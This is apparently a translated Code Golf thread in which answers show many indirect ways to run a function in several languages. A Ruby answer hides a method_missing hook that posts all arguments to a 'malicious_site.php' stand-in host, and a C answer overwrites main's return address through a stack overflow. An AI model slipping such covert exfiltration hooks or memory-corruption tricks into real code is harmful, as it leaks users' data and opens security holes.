Вызовите метод, не вызывая его [закрыто]


77

Вдохновлен удаленным вопросом StackOverflow . Можете ли вы придумать способ выполнения определенного метода без явного его вызова? Чем косвеннее, тем лучше.

Вот что я имею в виду (C использовался только в качестве примера, все языки приняты):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Оригинальный вопрос: введите описание изображения здесь


58
+10471 ... хорошо
qwr

29
Интересно, сколько повторений нужно для переполнения стека?
PyRulez

34
Видимо это скриншот из аккаунта @Mysticial , видя аватар. Mysticial, могли бы вы угождаете просто нажмите на вкладке повторений?!?!?!
дверная ручка

4
@ Doorknob Почему он должен? Все идет от одного ответа.
FDinoff

8
@PyRulez Джон Скит еще не включена , так что мы в безопасности сейчас .
Коул Джонсон

Ответы:


109

С

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

При компиляции с GCC компилятор заменяется printf("Goodbye!\n")на puts("Goodbye!"), что проще и должно быть эквивалентным. Я украдкой предоставил свою пользовательскую putsфункцию, так что вместо этого вызывается.


1
@ user17752 На самом деле это преобразование, которое GCC выполняет даже при -O0. (GCC 4.8, во всяком случае. Возможно, другим версиям нужны другие опции.)
hvd

1
извините, моя ошибка, забыл, что я использовал Clang на моем MacBook.
DarkHeart

@ user17752 Спасибо, я не тестировал другие компиляторы, приятно знать, что, по крайней мере, у clang есть возможность получить такое же преобразование.
HVD

Поздравляем! Победитель это ты!

84

Итак, как вредоносная программа может выполнять функции, которые не вызываются в коде? Переполнением буферов!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

В моей системе адрес возврата mainхранится на 3 слова выше первой локальной переменной. Скремблируя этот адрес возврата с адресом другой функции, main«возвращается» к этой функции. Если вы хотите воспроизвести это поведение в другой системе, вам, возможно, придется настроить 3 на другое значение.


Обыграй меня (+1) - это очевидное C-решение.
Коминтерн

20
Используйте <!-- language: lang-c -->две строки перед вашим кодом, чтобы выделить его.
Виктор Стафуса

9
Всем привет @Victor, герой с подсветкой синтаксиса!
Джейсон С

@Victor это официально задокументировано? Если да, то где?
Торбьерн Равн Андерсен



56

Python 2

>>> def func(*args):
        print('somebody called me?')

Вот несколько способов, вдохновленных другими ответами:

  1. выполнение кода напрямую

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Это лучший способ не вызывать функцию.

  2. используя деструктор

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Использование стандартного ввода-вывода

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. используя поиск атрибутов

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Механизм импорта

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Ну, я думаю, что все .. Я не могу ничего импортировать сейчас. Нет, подождите..

  6. Использование скобок get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Использование глобальных переменных. Мой любимый!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloэто доступ к d['hello']. После этого мир кажется серым.

  8. Мета-классы;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Использование итераторов (вы можете перегрузить любой оператор и использовать его)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Ошибки!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Рамки перезвонят. Почти каждый графический интерфейс имеет эту функциональность.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Выполнить исходную строку (func должен быть в файле)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Декораторы

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. с десериализацией рассола (наименьшее количество фаворитов)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Использование сериализации

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Больше ответов Python:


1
Хорошая коллекция, но вы забыли о темах . ;)
nyuszika7h

Этот ответ абсурден. +1
астери

Это питон 3
Брэден Бест

1
Многие из этих примеров также работают с Python 3. Показанный метакласс и создание исключений не работают в Python 3.
Пользователь

22

Javascript

Этот использует JSFuck для грязной работы.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Я думаю, что это квалифицируется как явный вызов функции. Просто очень запутанный.
Примо

3
@primo, он будет создавать строку javascript для выполнения и получать объект Function для вызова. Но для этого используются неявные преобразования между типами; Например, ""строка и имеет []значение 0, поэтому ""[[]]не определено и ""[[]]+""не определено. Оттуда вы можете вытащить отдельные буквы: (""[[]]+"")[[]]это «и». Так что это больше похоже на хак для вызова exec с произвольным кодом. Я думаю, что имеет значение?
Фил Х

1
@PhilH Я понимаю, как это работает. Удалите последние две круглые скобки: function anonymous() { x() }.
Примо

22

питон

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Это устанавливает the_functionв качестве функции профилирования, вызывая ее выполнение при каждом вызове функции и возврате.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Это Питон?
Hosch250

@ user2509848 Да, я забыл упомянуть об этом.
GRC

Ответ без C! Я хотел бы видеть больше: D

@Johnsyweb Пожалуйста, смотрите meta.codegolf.stackexchange.com/q/1109/9498 . Нет необходимости редактировать каждую публикацию, чтобы включить подсветку синтаксиса, особенно если она едва влияет на внешний вид кода (например, короткий код).
Джастин

@Quincunx: Признано ☻
Johnsyweb

18

C #

Мы можем использовать DLR, чтобы всегда выполнять некоторый код всякий раз, когда вы пытаетесь вызвать какой-либо метод в классе. Это немного менее дешево / очевидно, чем решения, такие как делегаты, отражения, статические конструкторы и т. Д., Потому что выполняемый метод не только никогда не вызывается, но даже не упоминается даже по его имени.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Это всегда печатает "Ха! Обманули тебя!" независимо от того, что вы пытаетесь вызвать a. Так что я мог бы так же легко написать, a.SuperCaliFragilisticExpiAlidocious()и это сделало бы то же самое.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Это очень прямой, но, конечно , не призыв к hello_world, даже если функция делает выполнение.


16

Рубин

Вдохновленный Ват .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

С

Вы можете зарегистрировать функцию, которая будет вызываться в конце программы на C, если это соответствует вашим потребностям:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Ява

Попробовал это с Java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Метод secretMethodNotCalledInMainвызывается только отражением, и я не ищу ничего вызываемого secretMethodNotCalledInMain(вместо этого я ищу ничего не вызванного main). Кроме того, отражающая часть кода вызывается вне mainметода, когда включается обработчик необработанных исключений JDK.

Вот моя информация о JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Вот вывод моей программы:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Я не ожидал, что они NullPointerExceptionбудут выброшены из нативного кода для обработки отражения. Но, как упомянуто @ johnchen902, это потому, что он наследует некоторые методы от, java.lang.Objectи в итоге я вызвал их на nulls.


Это NPEне ошибка JDK. Они выброшены, потому что вы пытались вызвать методы экземпляра, объявленные в, java.lang.Objectнапример, toString()с null.
johnchen902

@ johnchen902 О, конечно. Спасибо. Я редактировал это.
Виктор Стафуса

14

C ++

Одним из способов в C ++ является использование конструктора и / или деструктора статического объекта:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Я также думал о перегрузке new и delete , но думаю, что достаточно трех ответов :)
fredoverflow

Считают ли конструкторы / деструкторы "методами" в C ++? В .NET и Java это на самом деле разные типы членов. Вы не можете напрямую вызывать статический ctor, даже если вы хотите ...
Aaronaught

@Aaronaught: Ничто не считается «методом» в C ++ (по крайней мере, для любого, кто знает, о чем они говорят). Конструкторы и деструкторы являются функциями-членами. Они являются «специальными» функциями-членами (например, конструкторы не имеют имен, поэтому вы не можете вызывать их напрямую).
Джерри Гроб

Ну, я использовал этот термин только потому, что это сделал ОП. Я знаю, что C / C ++ и почти любой другой язык, отличный от Java / .NET, имеют функции, а не методы. Но существенным моментом является то, что они не могут быть вызваны напрямую. Вы можете утверждать, что конструктор экземпляра вызывается технически напрямую new, и поэтому было бы интересно получить способ вызвать его без new . Но я не знаю, статические конструкторы кажутся обманом.
Aaronaught

@Aaronaught Если вы хотите вызвать конструктор для уже выделенного фрагмента памяти, вы можете написать new (p) foo(). И вы можете уничтожить объект, не освобождая память через p->~foo().
fredoverflow

12

C: Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Выход:

Hello World!

Чтобы связать метод, нам нужно, чтобы printf () был скомпилирован где-то в программе, но на самом деле его не нужно вызывать. Функции printf () и main () расположены на расстоянии 276 байтов друг от друга в сегменте кода. Это значение будет меняться в зависимости от ОС и компилятора. С помощью этого кода вы можете найти фактические адреса в вашей системе, а затем просто вычесть их:

printf("%d %d\n", &printf, &main);

4
*, Прежде чем mainдействительно сбивает с толку и ненужным. mainэто функция, которую вы не можете разыменовать, поэтому она неявно распадается на указатель функции, который затем разыменовывается, чтобы снова вызвать функцию. Вы не можете вычесть int из функции, поэтому он снова распадается на указатель на функцию. Вы могли бы также написать (*****main-276);) Вы вероятно хотели написать (&main-276)или (*(main-276))вместо этого.
fredoverflow

6
The * before main is really confusing and unnecessary.- Разве это не хорошо на этом сайте?
Джеймс Вебстер

У меня сложилось впечатление, что стандарт сказал, что правильно сформированная программа не должна использоваться main, но не могу ее найти сейчас ...
Damon

3
Вы явно называете это запутанной ссылкой
Nowayz

9

C (с встроенным ассемблером GCC)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Это приведет к тому, что некоторый код, испускаемый GCC, окажется в другом сегменте объектного файла, в результате чего поток управления «провалится» через функцию. Обратите внимание, что это не работает, если GCC решает изменить порядок функций, очевидно. Протестировано с GCC 3.4.6 на MirBSD-current / i386, используя -O2. (Кроме того, это прерывает отладку, компиляцию с -gошибками ☺)


8

PHP ≥5.4.0

Это решение, по общему признанию, представляет собой ужасный беспорядок, но оно выполняет поставленную перед ним задачу (не было оговорено, насколько хорошо оно должно выполнять).

Функция для вызова без вызова :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Решение :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Пример :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Возможные выводы:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Пояснение :

При вызове executeFunction()прочитает содержимое исполняемого в данный момент файла (что означает, что он предназначен только для запуска из CLI, как он использует $argv), проанализирует аргументы и тело указанной функции, взломает все обратно вместе в новый кусок код, eval()все это и вернуть результат. В результате getRandomString()фактически никогда не вызывается, ни прямо, ни косвенно, но код в теле функции все еще выполняется.


Хорошо, создает ли __construct()метод число в PHP, так как вы никогда не вызываете функцию напрямую, а используете new Something()вместо этого?
Дамир Касипович

@ D.Kasipovic Вроде бы можно утверждать, что вы все равно прямо это вызываете, просто по-другому. Я выбрал свой текущий подход, потому что мне нравится мыслить нестандартно. Я мог бы просто зарегистрировал функцию обратного вызова , чтобы register_tick_function(), register_shutdown_function()или spl_autoload_register()похож на ответ на Python @ GRC, но я чувствую, что это «обман» и принимая легкий путь.
Тони Эллис


7

T-SQL

Это встроенная функция. Триггеры на победу!

Если вы действительно хотите повеселиться с ним, создайте кучу триггеров INSTEAD OF в День первоапрельского праздника.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Результаты:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Очень шутка. Такой лулз. Ух ты.

Тинкер видел это на SQLFiddle.


2
Триггеры всегда меня заводят, как разработчика приложений, я их никогда не ожидаю.
Матфея

7

JavaScript

В консоли Firefox:

    this.toString = function(){alert('Wow')};

Тогда просто начните набирать что-нибудь в консоли - Firefox вызывает .toString()несколько раз, когда вы печатаете в консоли.

Подобный подход:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

С

Платформа выбора - Linux. Мы не можем вызвать нашу функцию, поэтому мы сделаем так, чтобы наш компоновщик сделал это:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Как получить волшебный адрес?

Мы полагаемся на стандартную базовую базовую спецификацию Linux, которая гласит:

.fini_array

Этот раздел содержит массив указателей на функции, которые вносят вклад в один массив завершения для исполняемого или общего объекта, содержащего раздел.

  1. Скомпилируйте код:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Изучите адрес .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Найдите VMA этого:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

и заменить это значение для ADDRESS.


5

VB6 и VBA

Не уверен, имеет ли это право или нет, потому что он вызывает метод класса:

Это идет в модуле класса:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

И это «вызывающий» код:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Это работает путем замены функции vptr для двух Subs в vtable для класса.


Чувак, ты опасен ! Хороший!
Матье Гиндон

